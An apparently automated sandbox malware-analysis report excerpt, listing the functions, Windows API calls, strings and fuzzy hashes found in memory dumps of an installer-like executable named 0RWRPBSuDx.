Cannot evaluate variable because [Code] isn't running yet, xrefs: 00455642

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: MessagePostWindow$ForegroundNtdllProc_
String ID: Cannot evaluate variable because [Code] isn't running yet
API String ID: 2236967946-3182603685
Opcode ID: dc33ace31ed7a9797ae01e48b88653b806302b7cb0691c2facf87cd2e3786102
Instruction ID: 0e8bbef3c373df75fc6cad67ac7c13520a564414c71ee93b02e72d74791e7f0d
Opcode Fuzzy Hash: dc33ace31ed7a9797ae01e48b88653b806302b7cb0691c2facf87cd2e3786102
Instruction Fuzzy Hash: EA910034604A44EFD715CF64D961F6ABBF5EB8D704F2080BAE90897792C738AE05CB18

Uniqueness

Uniqueness Score: -1.00%

Function 00454574 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 109libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetDiskFreeSpaceExA,00000000,004546A8), ref: 004545A4
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004545AA

Strings

kernel32.dll, xrefs: 0045459F
GetDiskFreeSpaceExA, xrefs: 0045459A

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: ed7d07240aa90892a091206af18c35f348ebfaa97add39f3b53ca1f61f412ce1
Instruction ID: ea8d5c54c38255325536962d047065f6d17d79332955beca5d267283e39a3316
Opcode Fuzzy Hash: ed7d07240aa90892a091206af18c35f348ebfaa97add39f3b53ca1f61f412ce1
Instruction Fuzzy Hash: 27317371A04249ABCB01DFA5D882ADFB7F8EF49704F504567E800F7292D67C5D088A68

Uniqueness

Uniqueness Score: -1.00%

Function 00417C40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00417C7F
SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 00417C9D
GetWindowPlacement.USER32(?,0000002C), ref: 00417CD3
SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 00417CFA

Strings

,, xrefs: 00417CC1

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Window$Placement$Iconic
String ID: ,
API String ID: 568898626-3772416878
Opcode ID: 5ece517c437fe019085fbf139a94efe96b230f489b8065151ca60217286486e9
Instruction ID: c7e48a005123f112bfb3c773aae920d88014dc0855fb7fe4f04d55f6c4297c8c
Opcode Fuzzy Hash: 5ece517c437fe019085fbf139a94efe96b230f489b8065151ca60217286486e9
Instruction Fuzzy Hash: 92213E71604204ABCF00EF69D8C4ADA77B8AF48314F11456AFD18DF346D678E984CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004601DC Relevance: 7.6, APIs: 5, Instructions: 129fileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001,00000000,00460399), ref: 0046020D
FindFirstFileA.KERNEL32(00000000,?,00000000,0046036C,?,00000001,00000000,00460399), ref: 0046029C
FindNextFileA.KERNEL32(000000FF,?,00000000,0046034E,?,00000000,?,00000000,0046036C,?,00000001,00000000,00460399), ref: 0046032E
FindClose.KERNEL32(000000FF,00460355,0046034E,?,00000000,?,00000000,0046036C,?,00000001,00000000,00460399), ref: 00460348

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Find$File$CloseErrorFirstModeNext
String ID:
API String ID: 4011626565-0
Opcode ID: 5588b96bc5821cb24b794ae90af1c2edfe00c633003d91bf40660c77ef646330
Instruction ID: c22440ca7c527640d667828617bb25d04212bcbd0bedb4656b6a98293150bfae
Opcode Fuzzy Hash: 5588b96bc5821cb24b794ae90af1c2edfe00c633003d91bf40660c77ef646330
Instruction Fuzzy Hash: 3E419930A046189FCB11EF65DC55ADEB7B8EB48705F4044FAF804EB391E67C9E888E59

Uniqueness

Uniqueness Score: -1.00%

Function 00460658 Relevance: 7.6, APIs: 5, Instructions: 129fileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001,00000000,0046083F), ref: 004606CD
FindFirstFileA.KERNEL32(00000000,?,00000000,0046080A,?,00000001,00000000,0046083F), ref: 00460713
FindNextFileA.KERNEL32(000000FF,?,00000000,004607EC,?,00000000,?,00000000,0046080A,?,00000001,00000000,0046083F), ref: 004607C8
FindClose.KERNEL32(000000FF,004607F3,004607EC,?,00000000,?,00000000,0046080A,?,00000001,00000000,0046083F), ref: 004607E6

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Find$File$CloseErrorFirstModeNext
String ID:
API String ID: 4011626565-0
Opcode ID: 4b6b058d118e51379d164b2f39e0688468813194ab15f3d47b27d756da6eea37
Instruction ID: 403a6866901340eb541ce2889c412c5575f061829704f8cbc5206a85907b83c4
Opcode Fuzzy Hash: 4b6b058d118e51379d164b2f39e0688468813194ab15f3d47b27d756da6eea37
Instruction Fuzzy Hash: 68416335A006189BCB11EF65DC859DFB7B8EB88305F5044BAF804A7351E77CAE448E59

Uniqueness

Uniqueness Score: -1.00%

Function 0042E6DC Relevance: 7.6, APIs: 5, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,004518C3,00000000,004518E4), ref: 0042E6FE
DeviceIoControl.KERNEL32(00000000,0009C040,?,00000002,00000000,00000000,?,00000000), ref: 0042E729
GetLastError.KERNEL32(00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,004518C3,00000000,004518E4), ref: 0042E736
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,004518C3,00000000,004518E4), ref: 0042E73E
SetLastError.KERNEL32(00000000,00000000,00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,004518C3,00000000,004518E4), ref: 0042E744

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorLast$CloseControlCreateDeviceFileHandle
String ID:
API String ID: 1177325624-0
Opcode ID: 49bff7004518e71781683ab0b22e1c86a9f508c12aad9e85268bd182f546215a
Instruction ID: d5c332dd154d0a6876031c1b9749a0de84ba629fdfa8bcc8c87bd6e344ced3d8
Opcode Fuzzy Hash: 49bff7004518e71781683ab0b22e1c86a9f508c12aad9e85268bd182f546215a
Instruction Fuzzy Hash: AAF0F0B13917207AF620B17A6CC6F7B018CC7C5B68F10823ABB04FF1C1D9A84D05056D

Uniqueness

Uniqueness Score: -1.00%

Function 0047DB50 Relevance: 6.0, APIs: 4, Instructions: 47windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 0047DB8E
GetWindowLongA.USER32(00000000,000000F0), ref: 0047DBAC
ShowWindow.USER32(00000000,00000005,00000000,000000F0,00494F8C,0047D3DA,0047D40E,00000000,0047D42E,?,?,00000001,00494F8C), ref: 0047DBCE
ShowWindow.USER32(00000000,00000000,00000000,000000F0,00494F8C,0047D3DA,0047D40E,00000000,0047D42E,?,?,00000001,00494F8C), ref: 0047DBE2

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Window$Show$IconicLong
String ID:
API String ID: 2754861897-0
Opcode ID: 369b3e18d2165cb8bb48b2587b96ca03a768cff027144c2cea394ed926353b1c
Instruction ID: c4c813b94ba675872cbc2921d165099fe1b58c154ab1beafddf731999e56589c
Opcode Fuzzy Hash: 369b3e18d2165cb8bb48b2587b96ca03a768cff027144c2cea394ed926353b1c
Instruction Fuzzy Hash: 5A017170B142819BD700A7B5DC45F9627B85F01318F16847BB4469F3ABCB2DAC42D61C

Uniqueness

Uniqueness Score: -1.00%

Function 0045EC50 Relevance: 4.6, APIs: 3, Instructions: 67fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,0045ED24), ref: 0045ECA8
FindNextFileA.KERNEL32(000000FF,?,00000000,0045ED04,?,00000000,?,00000000,0045ED24), ref: 0045ECE4
FindClose.KERNEL32(000000FF,0045ED0B,0045ED04,?,00000000,?,00000000,0045ED24), ref: 0045ECFE

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 4c8216cd23e0ad7c597990ef92a379c131d9d30fe178f8c8937ccab258ab8b35
Instruction ID: 1c15e069fa90e75a86647c5f7c03675f72fe807dda2d2eae08813ce46935d9d4
Opcode Fuzzy Hash: 4c8216cd23e0ad7c597990ef92a379c131d9d30fe178f8c8937ccab258ab8b35
Instruction Fuzzy Hash: DA21C931504608AEDB15DB67DC41ADEB7BCEB49704F5084F7FC08D22A2D6389B48C959

Uniqueness

Uniqueness Score: -1.00%

Function 0042414C Relevance: 4.5, APIs: 3, Instructions: 32windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00424154
SetActiveWindow.USER32(?,?,?,004687FC), ref: 00424161

Part of subcall function 004235BC: ShowWindow.USER32(004105C0,00000009,?,00000000,0041ED14,004238AA,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423B7C), ref: 004235D7

Part of subcall function 00423A84: SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000013,?,021125AC,0042417A,?,?,?,004687FC), ref: 00423ABF

SetFocus.USER32(00000000,?,?,?,004687FC), ref: 0042418E

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Window$ActiveFocusIconicShow
String ID:
API String ID: 649377781-0
Opcode ID: 826e83aebfae97061b379bc16a5d1b84d700d2e627d919f03dfb4d2f52cb7ad2
Instruction ID: 52aae3a4689a9740bd4d9c6d6ebd89914a33ab6eb49489b11b5c27e09e1b84ad
Opcode Fuzzy Hash: 826e83aebfae97061b379bc16a5d1b84d700d2e627d919f03dfb4d2f52cb7ad2
Instruction Fuzzy Hash: 6CF03A717001209BDB00AFAAD8C4B9633A8AF48304B55017BBD09EF34BCA7CDC5187A8

Uniqueness

Uniqueness Score: -1.00%

Function 00417C3E Relevance: 3.0, APIs: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00417C7F
SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 00417C9D
GetWindowPlacement.USER32(?,0000002C), ref: 00417CD3
SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 00417CFA

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Window$Placement$Iconic
String ID:
API String ID: 568898626-0
Opcode ID: 417382ec3429889133b32bde4c00db047fc4eacd7573cf41adb8130d41789b22
Instruction ID: f0313cfea0d4087130c3a657ee055cc65a4736f61d4b278e94d42609036002a6
Opcode Fuzzy Hash: 417382ec3429889133b32bde4c00db047fc4eacd7573cf41adb8130d41789b22
Instruction Fuzzy Hash: 31015A31204104ABDF10EE6A98C5EEA73A8AF44324F114166FD08CF342E638EC8086A8

Uniqueness

Uniqueness Score: -1.00%

Function 00417508 Relevance: 3.0, APIs: 2, Instructions: 44windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00417533
GetCapture.USER32 ref: 0041753C

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CaptureIconic
String ID:
API String ID: 2277910766-0
Opcode ID: c2a33cdbbae1cdfc2369431b38ce0fc9041f94e7b113fc5137cb4b1fd2442c1e
Instruction ID: 2956aca8664544b1eb357884f6cb47590399079b6183512574be6b3802fdb23b
Opcode Fuzzy Hash: c2a33cdbbae1cdfc2369431b38ce0fc9041f94e7b113fc5137cb4b1fd2442c1e
Instruction Fuzzy Hash: 02F0A471B04602A7DB20E72EC8C4AA762F69F84394B54403BF415C7B96EA7CDCC08318

Uniqueness

Uniqueness Score: -1.00%

Function 00424104 Relevance: 3.0, APIs: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 0042410B

Part of subcall function 004239F4: EnumWindows.USER32(0042398C), ref: 00423A18
Part of subcall function 004239F4: GetWindow.USER32(?,00000003), ref: 00423A2D
Part of subcall function 004239F4: GetWindowLongA.USER32(?,000000EC), ref: 00423A3C
Part of subcall function 004239F4: SetWindowPos.USER32(00000000,004240CC,00000000,00000000,00000000,00000000,00000013,?,000000EC,?,?,?,0042411B,?,?,00423CE3), ref: 00423A72

SetActiveWindow.USER32(?,?,?,00423CE3,00000000,004240CC), ref: 0042411F

Part of subcall function 004235BC: ShowWindow.USER32(004105C0,00000009,?,00000000,0041ED14,004238AA,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423B7C), ref: 004235D7

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Window$ActiveEnumIconicLongShowWindows
String ID:
API String ID: 2671590913-0
Opcode ID: c74fb73a8881fd60f3fd614903c11219e2ccc8bc78df243e72f47ccd7f1af9d0
Instruction ID: b8e4b42960b6b3797255afb6d30997fccd36cf0c86298b6f3b138aeb4614201e
Opcode Fuzzy Hash: c74fb73a8881fd60f3fd614903c11219e2ccc8bc78df243e72f47ccd7f1af9d0
Instruction Fuzzy Hash: 76E0E5A0300100C7EB00AFAAD8C9B9672A9BB48304F5501BABC08CF24BD6B8C8948724

Uniqueness

Uniqueness Score: -1.00%

Function 00412548 Relevance: 1.7, APIs: 1, Instructions: 188nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?,00000000,00412745), ref: 00412733

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 5ac7982fb39f62f6f70c044b616f6008bafcba18ee83e8967f3a98960c284c43
Instruction ID: 8365c716c5e730cb372343108a6f593a498c89545a1faf81556fc105b3597b40
Opcode Fuzzy Hash: 5ac7982fb39f62f6f70c044b616f6008bafcba18ee83e8967f3a98960c284c43
Instruction Fuzzy Hash: 8B51D3356042059FC710DF5AD681A9BF3E5FF98304B3582ABE814C77A1D6B8AD92874C

Uniqueness

Uniqueness Score: -1.00%

Function 00473A10 Relevance: 1.6, APIs: 1, Instructions: 107nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 00473B5E

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: ce54198750e36d2c75895016167de93e0fa029d34df70342d56a8510856625dc
Instruction ID: 3e32aa5f128dc23a8b701fa4ecba52860cdafcd953849f4bd8a959afbbddc411
Opcode Fuzzy Hash: ce54198750e36d2c75895016167de93e0fa029d34df70342d56a8510856625dc
Instruction Fuzzy Hash: 1F415775B08104DFCB10CF99C6819AAB7F5EB48312B24C596E848DB746D338EF41EB98

Uniqueness

Uniqueness Score: -1.00%

Function 0045B560 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

ArcFourCrypt._ISCRYPT(?,?,?,?), ref: 0045B56B

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CryptFour
String ID:
API String ID: 2153018856-0
Opcode ID: e51d4a8b77d663dbf5753caff9afe7d0a369bc5209e9a7b4c4ce857bc8fe2f36
Instruction ID: 9e8eafa16c368b04bfc03e3690b6b42464bb4fe35b2110d8adbf47a9256d09ee
Opcode Fuzzy Hash: e51d4a8b77d663dbf5753caff9afe7d0a369bc5209e9a7b4c4ce857bc8fe2f36
Instruction Fuzzy Hash: 07C09BF200520C7F65005795ECC9CB7B75CE6DC7657404126F6044210195716C508574

Uniqueness

Uniqueness Score: -1.00%

Function 0045B578 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

ArcFourCrypt._ISCRYPT(?,00000000,00000000,000003E8,00469597), ref: 0045B57E

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CryptFour
String ID:
API String ID: 2153018856-0
Opcode ID: c66c785d08d772f28e3adc9bfa18a8b196b3a7f7ba0323c99685d538528cd14f
Instruction ID: 5f2732264b6577c6f22f747bc4abd170fb833af863f4cd36b72278e664c57c22
Opcode Fuzzy Hash: c66c785d08d772f28e3adc9bfa18a8b196b3a7f7ba0323c99685d538528cd14f
Instruction Fuzzy Hash: E1A002B0A813057AFD6057609D0EF26262C97D4F05F2144697201E90D485A86441C52C

Uniqueness

Uniqueness Score: -1.00%

Function 10001130 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2868493918.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.2868472129.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2868511858.0000000010002000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_0RWRPBSuDx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 550b9f88123d0c3b213a5d4b99e682963a3eaac5120c60ac7846f9a0f3bba5ba
Instruction ID: 1c94840b05858ddf3503627acbaac9226f9c4a6e1659969bf0a936c2f155f8a0
Opcode Fuzzy Hash: 550b9f88123d0c3b213a5d4b99e682963a3eaac5120c60ac7846f9a0f3bba5ba
Instruction Fuzzy Hash: FF11303254D3D28FC305CF2894506D6FFE4AF6A640F194AAEE1D45B203C2659549C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 10001000 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2868493918.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.2868472129.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2868511858.0000000010002000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_0RWRPBSuDx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aff350dcda9d135b5489d453054620cf61adfe11cc5af5bb48cdce25d513e1a9
Instruction ID: 837d35c9df4effc004866add7a9100bdfed479f04b3922bb4bd4c5469ecd81ba
Opcode Fuzzy Hash: aff350dcda9d135b5489d453054620cf61adfe11cc5af5bb48cdce25d513e1a9
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00456200 Relevance: 49.2, APIs: 11, Strings: 17, Instructions: 237filesynchronizationprocessCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00493A74,00000001,00000000,00000000,00456535,?,?,?,00000001,?,0045674F,00000000,00456765,?,00000000,00494628), ref: 0045624D
CreateFileMappingA.KERNEL32(000000FF,00493A74,00000004,00000000,00002018,00000000), ref: 00456285
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00002018,00000000,0045650B,?,00493A74,00000001,00000000,00000000,00456535,?,?,?), ref: 004562AC
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,?), ref: 004563B9
ReleaseMutex.KERNEL32(00000000,00000000,00000002,00000000,00000000,00002018,00000000,0045650B,?,00493A74,00000001,00000000,00000000,00456535), ref: 00456311

Part of subcall function 00451E20: GetLastError.KERNEL32(00000000,00452891,00000005,00000000,004528C6,?,?,00000000,00494628,00000004,00000000,00000000,00000000,?,004921BD,00000000), ref: 00451E23

CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,?), ref: 004563D0
WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,?), ref: 00456409
GetLastError.KERNEL32(00000000,000000FF,?,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,?), ref: 0045641B
UnmapViewOfFile.KERNEL32(00000000,00456512,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,?), ref: 004564ED
CloseHandle.KERNEL32(00000000,00456512,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,?), ref: 004564FC
CloseHandle.KERNEL32(00000000,00456512,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,?), ref: 00456505

Strings

OleInitialize, xrefs: 00456455
REGDLL failed with exit code 0x%x, xrefs: 004563F9
LoadLibrary, xrefs: 00456467
egE, xrefs: 0045644F, 004564AA, 004562FB, 004562DC, 004562D3, 00456439, 004562F5, 00456461, 00456485, 004562C4, 004564E9, 004562EA, 00456473
_isetup\_RegDLL.tmp, xrefs: 00456337
OgE, xrefs: 00456341, 004563A7, 00456344
Spawning _RegDLL.tmp, xrefs: 0045622C
REGDLL mutex wait failed (%d, %d), xrefs: 0045642F
GetProcAddress, xrefs: 00456479
CreateMutex, xrefs: 0045625B
MapViewOfFile, xrefs: 004562BA
_RegDLL.tmp %u %u, xrefs: 00456361
ReleaseMutex, xrefs: 0045631A
CreateFileMapping, xrefs: 00456293
D, xrefs: 0045637A
CreateProcess, xrefs: 004563C2
REGDLL returned unknown result code %d, xrefs: 004564CC

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseCreateFileHandle$ErrorLastMutexView$MappingObjectProcessReleaseSingleUnmapWait
